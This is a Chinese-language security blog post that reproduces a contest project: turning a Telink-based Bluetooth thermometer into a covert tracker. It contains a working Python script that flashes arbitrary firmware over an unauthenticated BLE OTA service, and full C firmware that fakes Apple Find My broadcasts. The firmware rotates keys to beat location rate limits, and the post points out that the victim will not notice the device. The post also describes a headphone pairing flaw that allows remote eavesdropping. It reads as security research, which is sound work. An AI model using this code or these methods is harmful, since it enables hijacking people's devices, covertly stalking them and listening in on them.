《我是極客》項目復現:偽裝成溫度計的跟蹤器
研究背景簡介
在極棒(我是極客)比賽上看到玄武的追蹤信標團隊展示的項目,效果就是在耳機近場范圍內,選手對耳機發起攻擊然后變成了一個類似airtag跟蹤器,技術評委帶上耳機后在十分鐘開車隨便選擇了一個地點,選手跟蹤耳機最終確定了評委所在地。
下面我們來復現這個項目,以及拓展其他有關智能設備隱私的問題。
藍牙溫濕度計RCE漏洞

目標是某款藍牙溫濕度計,通過拆解外殼可以發現使用的是Telink的TLSR8251的BLE 芯片,我先說一下成因是芯片廠商一般會提供SDK以及開發時候的參考例程,其中就包括了藍牙OTA的升級例程,而這個例程中基本沒有對安全考慮,基本上只有CRC16完整性的校驗,這種芯片供應鏈的風險其實在我19年一個議題中講到過有興趣的小伙伴可以看看《藍牙安全之第二戰場》(http://cnbj1.fds.api.xiaomi.com/src/ppt/8.pdf)。

另外通過固件也能識別出產品是否使用了Telink提供的芯片架構,這里有兩個方法分別是固件頭部的四個字節為固定"KNLT",以及基于官方提供的SDK編譯后會包含"Telink"的字符串,這個值是被硬編碼到了協議棧的封裝庫中。

然后在設備進行升級時候保存其藍牙數據包,可以通過Wireshark分析流量數據,然后對比從安卓目錄\data\data\com.**中找到設備固件,黑盒在反推一下就能得到這個Telink OTA時候的升級協議了。
import logging
import time
from bluepy import btle
logging.basicConfig(level=logging.DEBUG, format="[%(asctime)s] [%(levelname)s] [%(filename)s#%(lineno)d] %(message)s", datefmt="%H:%M:%S")
class BLEDelegate(btle.DefaultDelegate):
def __init__(self):
btle.DefaultDelegate.__init__(self)
def handleNotification(self, cHandle, data):
logging.info("Notify: 0x%02x %s(%s)", cHandle, data.hex(),bytes.fromhex(data.hex()))
def enable_notify(handle):
ble_conn.writeCharacteristic(handle , b"\x01\x00", withResponse=True)
CRC16 = 0
CRC16_CCITT = 1
CRC_CCITT_XMODEM = 2
CRC16_CCITT_x1D0F = 3
CRC16_MODBUS = 4
def crc16(buffer, mode=CRC16_MODBUS):
if mode == CRC16_CCITT:
polynom = 0x1021
crc16ret = 0xFFFF
if mode == CRC16_CCITT_x1D0F:
polynom = 0x1021
crc16ret = 0x1D0F
if mode == CRC_CCITT_XMODEM:
polynom = 0x1021
crc16ret = 0
if mode == CRC16:
polynom = 0xA001
crc16ret = 0
if mode == CRC16_MODBUS:
polynom = 0xA001
crc16ret = 0xFFFF
if (mode != CRC16) and (mode != CRC16_MODBUS):
for l in buffer:
crc16ret ^= int(l) << 8 #ord(l) << 8
crc16ret &= 0xFFFF
for i in range(0, 8):
if (crc16ret & 0x8000):
crc16ret = (crc16ret << 1) ^ polynom
else:
crc16ret = crc16ret << 1
crc16ret &= 0xFFFF
else:
for l in buffer:
crc16ret ^= int(l) # ord(l)
crc16ret &= 0xFFFF
for i in range(8):
if (crc16ret & 0x0001):
crc16ret = (crc16ret >> 1) ^ polynom
else:
crc16ret = crc16ret >> 1
crc16ret &= 0xFFFF
lsb=hex((crc16ret&0xff00)>>8)[2:].zfill(2)
msb=hex(crc16ret&0xff)[2:].zfill(2)
return msb+lsb
TELINK_OTA_UUID_SERVICE="00010203-0405-0607-0809-0a0b0c0d1912"
TELINK_SPP_DATA_OTA="00010203-0405-0607-0809-0a0b0c0d2b12"
dev_addr = "A4:C1:38:35:A5:3A" # mmc
logging.info("Connecting...")
ble_conn = btle.Peripheral(dev_addr, btle.ADDR_TYPE_PUBLIC,iface=0)
ble_conn.setDelegate(BLEDelegate())
logging.info("Connected.")
s = ble_conn.getServiceByUUID(TELINK_OTA_UUID_SERVICE)
c=s.getCharacteristics()[0]
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("00ff"))
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("01ff"))
print(hex(c.getHandle()))
time.sleep(0.2)
f=open('./iBeacon.bin','rb')
s=f.read(16)
addr=0
while(s):
addrs=hex(addr)[2:].zfill(4)
msb=addrs[2:]
lsb=addrs[:2]
binline=msb+lsb+s.hex().ljust(16*2, 'f');
crc=crc16(bytes.fromhex(binline)).zfill(4)
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex(binline+crc))
addr+=1
s=f.read(16)
if addr % 8 ==0 :
while True:
if ble_conn.waitForNotifications(0.2):
continue
break
pass
f.close()
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex('02ff'))
ble_conn.waitForNotifications(1)
然后根據黑盒逆向得到的協議,在基于bluepy的庫寫了一個Telink OTA的升級腳本,對其他使用了Telink芯片的產品都是適用的,除非是自己改過了,我是基本沒遇見過,然后搜索周圍的藍牙設備就找到設備MAC,然后就能對設備進行任意的固件升級了,因為設備只能判斷固件的完整性,不能對固件進行鑒別真實性,以直接升級一個假的固件,這樣就能變磚了。
接著來講下如何繼續接管芯片的控制邏輯,實現任意代碼執行的能力。

首先我們要構建這個芯片的開發環境,大多數情況下芯片的SDK以及開發板都不太好獲得,需要簽署保密協議之類廠商才會提供,找到安信可專門做開發板的公司,他們居然將芯片SDK開源了!
對于其他的芯片廠商沒有找到公開的資源可以試試利用大廠的公司郵箱發封郵件,也有很大概率能得到想要的文檔/開發板。


這樣可以借助這個SDK的工具鏈編譯我們構造好的惡意代碼固件,然后在利用上面的傳到設備中就能實現未授權RCE的效果了,并且還能調用原本板子上的硬件資源,例如墨水屏,溫濕度傳感器之類的。
這類的問題講道理應該是Telink芯片廠商去完成修復,但在我聯系芯片廠商后他們認為并不是他們的問題,應該由產品的制造商來解決,方案是啟用藍牙的配對模式,但像Nordic芯片廠商則會提供一個安全的參考例程序(BLE Secure DFU)。
下面來說一下怎么將這個溫濕度計變成一個跟蹤器。
蘋果 Find My 技術簡介

相關的技術原理在蘋果的隱私白皮書,我就簡單說一下這個findmy 網絡。
1、手機與airtag 基于secp224r1算法標準,會生成一對公私密鑰,手機將私鑰保存在密鑰鏈中。
2、airtag保存公鑰并將公鑰進行藍牙廣播。
3、周圍的其他蘋果終端收到帶有FindMy標識的藍牙廣播后,會通過廣播中的公鑰加密自己的位置信息上傳到蘋果服務器中。
4、然后airtag的擁有者可以通過公鑰的哈希ID作為索引下載到加密后的信息,然后在通過密鑰鏈中的私鑰解開得到位置信息。
Find My 藍牙廣播協議

然后airtag會通過藍牙廣播這個公鑰(28字節):

EC P-224 公鑰:05e7b2bb75cf9bbaeb32518c899fa84cca2e268e76b3a24cd1b793be
ble mac :c5e7b2bb75cf
ble payload :1eff4c001219009bbaeb32518c899fa84cca2e268e76b3a24cd1b793be0000
openhaystack # 逆向FindMy協議后實現的開源項目

在此之前其實就有其他研究員對蘋果的這套FindMy協議進行逆向,通過第三方軟件自己生成P-224的密鑰對,然后將公鑰傳到自己的開發板(ESP32/NRF52/RaspberryPi)中,然后通過上面藍牙廣播協議將公鑰傳出,這是因為周圍的蘋果終端是無法識別該廣播是否為真是的AirTag發出的,所以會一并上傳到蘋果的服務器,因為蘋果API做了限制這個第三方軟件只能通過安裝了蘋果郵件插件,訪問服務器下載位置報告。
u8 adv_key[16][28]={
{0x05,0xe7,0xb2,0xbb,0x75,0xcf,0x9b,0xba,0xeb,0x32,0x51,0x8c,0x89,0x9f,0xa8,0x4c,0xca,0x2e,0x26,0x8e,0x76,0xb3,0xa2,0x4c,0xd1,0xb7,0x93,0xbe},
{0xff,0x12,0x74,0x71,0x73,0x7c,0x14,0x2e,0x07,0xe2,0x1f,0xfa,0x7e,0x15,0x3f,0x4d,0x52,0xaf,0xf6,0x78,0x37,0xd1,0x59,0xea,0x2c,0x5b,0xf5,0x6e},
{0x97,0x7d,0xd0,0xc4,0x94,0xab,0x6a,0x58,0xe7,0x8c,0xb2,0xe0,0x1d,0x7c,0x05,0xea,0x61,0x21,0x7e,0x8d,0x2c,0x83,0xe1,0x13,0xd9,0x53,0x63,0x01},
{0xa0,0x27,0xeb,0xde,0x2f,0x1b,0xd7,0x2d,0x27,0xbf,0x75,0x73,0xc5,0xa5,0x5c,0x1e,0xfd,0x12,0xf8,0xc9,0x03,0xd7,0xf7,0x9b,0x6a,0x87,0xcb,0x68},
{0xb7,0x3e,0xea,0xb6,0x87,0x62,0x1b,0xaa,0x5c,0xff,0x20,0xfa,0x16,0x8c,0x9f,0x63,0xfd,0xf7,0x39,0x7f,0x6e,0xe3,0xb3,0x47,0xa4,0x92,0x57,0x99},
{0x1d,0xe8,0x33,0xe1,0x3d,0x48,0x11,0xa4,0x8c,0xc7,0x87,0xd1,0x2a,0xd9,0xbd,0x5d,0x79,0xec,0xa5,0xd9,0x12,0x02,0x93,0x70,0x26,0xef,0xc5,0x23},
{0x60,0x8b,0x4e,0x0f,0x8c,0x7c,0xe1,0x57,0xf8,0xb9,0x33,0x96,0x1c,0xd9,0xfb,0x3b,0x6b,0x7d,0xfd,0xce,0xb2,0x05,0x00,0xd1,0x1f,0x2b,0xdc,0x98},
{0x4f,0x41,0xb7,0x27,0xc5,0x90,0x1f,0x79,0xaf,0x33,0xc8,0x9b,0x1a,0x53,0x37,0x69,0xcc,0x96,0xcb,0x2c,0x6e,0x03,0x5e,0x3d,0x2d,0x06,0x6b,0xd6},
{0xbe,0x6a,0x91,0x99,0x27,0x7f,0xed,0x92,0xe2,0x5e,0xa5,0xd0,0x01,0xef,0xe9,0x50,0x75,0x93,0xfe,0xcb,0x79,0x4f,0x52,0x32,0xdf,0x5b,0xf9,0x82},
{0x3a,0xda,0x8a,0x7f,0x2d,0x56,0xcb,0x5b,0xd6,0xe3,0xe0,0x5b,0x01,0x11,0x64,0x96,0x89,0x86,0xa4,0x3b,0x2b,0x05,0xdb,0x94,0xb9,0xf5,0xfe,0xbc},
{0x7b,0xba,0xcd,0x7a,0x5f,0x55,0xba,0x1e,0x00,0xf1,0xdc,0xe7,0x1c,0xb2,0x65,0x5f,0x11,0x86,0x55,0x62,0x99,0xc4,0xb9,0x9b,0x25,0xeb,0x95,0xb3},
{0xdf,0xef,0xa2,0x71,0xd2,0x2f,0xdf,0xd2,0x61,0xf3,0xc6,0x0a,0x0a,0x0f,0x92,0x30,0x4b,0x5c,0x33,0x16,0x29,0x63,0xcc,0x66,0xca,0xd0,0x06,0xb2},
{0xf0,0xa4,0xcf,0xca,0x5d,0x66,0xc6,0xaa,0x34,0xe6,0x21,0x21,0x73,0x6d,0x5a,0x29,0x19,0xc1,0x90,0x6e,0xf2,0xbf,0x77,0x01,0xe2,0x6b,0x89,0xab},
{0x6c,0x00,0xaa,0xa2,0xb3,0xb5,0x85,0x6c,0x0c,0x1e,0x37,0xb3,0x59,0xf2,0xfe,0x99,0xe5,0x33,0x1f,0xeb,0x8b,0xc4,0x7d,0x65,0x65,0x7d,0xd9,0x75},
{0x10,0x96,0x5e,0xf8,0xeb,0x1b,0xf3,0x0a,0x22,0xe6,0x22,0x5a,0x2b,0xea,0x78,0x6a,0x63,0xc5,0xe6,0x3c,0x3b,0xd2,0x36,0x2e,0xaa,0x64,0xdb,0x1e},
{0x88,0xfb,0x96,0x83,0x18,0xf6,0x6f,0x8d,0x86,0xd2,0xec,0xfd,0x26,0x68,0xeb,0xed,0x73,0xcc,0x83,0xb9,0xe2,0x6b,0x73,0x8d,0x43,0x57,0x88,0xca}
};
void apple_adv(u8 *key_data){
bls_ll_setAdvEnable(0);
u8 mac_public_d[6];
mac_public_d[5] = key_data[0] | 0b11000000;
mac_public_d[4] = key_data[1];
mac_public_d[3] = key_data[2];
mac_public_d[2] = key_data[3];
mac_public_d[1] = key_data[4];
mac_public_d[0] = key_data[5];
char at_print_buf[256];
u_sprintf((char*)at_print_buf, "mac:%02X:%02X:%02X:%02X:%02X:%02X \r\n",mac_public_d[5],mac_public_d[4],mac_public_d[3],mac_public_d[2],mac_public_d[1],mac_public_d[0]);
at_print(at_print_buf);
u8 adv_data[31] = {
0x1e, /* Length (30) */
0xff, /* Manufacturer Specific Data (type 0xff) */
0x4c, 0x00, /* Company ID (Apple) */
0x12, 0x19, /* Offline Finding type and length */
0x00, /* State */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, /* First two bits */
0x00, /* Hint (0x00) */
};
memcpy(&adv_data[7], &key_data[6], 22);
adv_data[29] = key_data[0] >> 6;
u_sprintf((char*)at_print_buf, "adv:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X \r\n",adv_data[0],adv_data[1],adv_data[2],adv_data[3],adv_data[4],adv_data[5],adv_data[6],adv_data[7],adv_data[8],adv_data[9],adv_data[10],adv_data[11],adv_data[12],adv_data[13],adv_data[14],adv_data[15],adv_data[16],adv_data[17],adv_data[18],adv_data[19],adv_data[20],adv_data[21],adv_data[22],adv_data[23],adv_data[24],adv_data[25],adv_data[26],adv_data[27],adv_data[28],adv_data[29],adv_data[30]);
at_print(at_print_buf);
u8 mac_random_static[6];
blc_initMacAddress(CFG_ADR_MAC, mac_public_d, mac_random_static);
blc_ll_initBasicMCU(); //mandatory
blc_ll_initStandby_module(mac_public_d);
bls_ll_setAdvData( (u8 *)adv_data, sizeof(adv_data) );
u8 status = bls_ll_setAdvParam( ADV_INTERVAL_50MS , ADV_INTERVAL_50MS , \
ADV_TYPE_NONCONNECTABLE_UNDIRECTED, OWN_ADDRESS_PUBLIC, \
0, NULL, BLT_ENABLE_ADV_ALL, ADV_FP_NONE);
bls_ll_setAdvEnable(1); //adv enable
rf_set_power_level_index (MY_RF_POWER_INDEX);
}
int i=0;
_attribute_ram_code_ void main_loop (void)
{
apple_adv(adv_key[i]);
char at_print_buf[256];
sleep_us(1000000);
u32 time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
u_sprintf((char*)at_print_buf,"time:%d\r\n",time_a);
at_print(at_print_buf);
i++;
if (i>15){
i=0;
}
while (!(time_a%30==0 && time_a!=0)){
blt_sdk_main_loop();
time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
}
}
然后我在這個基礎做了改進,就是蘋果服務器做了一個策略是同一個FindMy的設備在五分鐘內只會登記一個地點,這也是為什么項目選手十分鐘只記錄了兩個軌跡點,我生成16個密鑰對(adv_key)通過自己寫的代碼間隔30秒的替換廣播的公鑰,因此可以將間隔縮短到30秒甚至更少,跟蹤的軌跡更加線性。
溫度計可以續航一年之久,采用了墨水屏即使不驅動,屏幕也會顯示之前的數值不會輕易被跟蹤者被察覺(也能自己寫代碼驅動墨水屏,顯示真實數據,但是有一定的開發量暫未實現),從產品形態來看溫度計更像溫度計。
參考鏈接:
https://arxiv.org/pdf/2103.02282.pdf
https://support.apple.com/en-gb/guide/security/sece994d0126/web
https://github.com/Ai-Thinker-Open/Telink_825X_SDK
https://github.com/seemoo-lab/openhaystack
https://github.com/adamcatley/adamcatley.github.io/blob/a05b9dcbbf20e72ab31e416c210bd13d566e9c9c/docs/AirTag.md
廣播信標追蹤

其實上還有很多智能產品采用BLE 廣播的協議實現設備發現等功能,例如兩家國內銷量Top2的可穿戴手環產品,在運行期間會不斷廣播自身唯一標識,周圍任何人都能收到這個信息,還有國內大部分的快傳協議也有這種風險,不過需要使用者打開系統自帶的快傳功能并且部分品牌手機需要保持亮屏狀態。
危害就是在一個城市部署足夠多的藍牙嗅探節點,進行統一匯總這樣可以推算出某個人一天時間之內去了那些地方場所,或者在固定場所部署嗅探節點,例如判斷這個人具體的休息工作時間。
真實AirTag會定期更新所廣播的公鑰以及唯一的標識目的就是解決上面這個跟蹤的問題,只是在國內似乎并沒有人關注到這個風險。
藍牙耳機實現遠程監聽
最開始其實是在我現有的耳機上在挖RCE的洞,然后意外找到Enco Air 鏈接時候有個缺陷。
正常耳機在開機后默認是與已配對的手機進行鏈接,配對模式需要長按某個按鍵才會進入,而這個耳機似乎是為了用戶體驗考慮,開蓋后默認就是配對模式,任意人都能連接配對上,關鍵點就是沒有授權的操作比如說按一下物理按鍵完成配對(比賽項目那個耳機也是處于開蓋狀態下,相同的條件),這樣攻擊者就能配對然后調用麥克風實現遠程監聽效果了。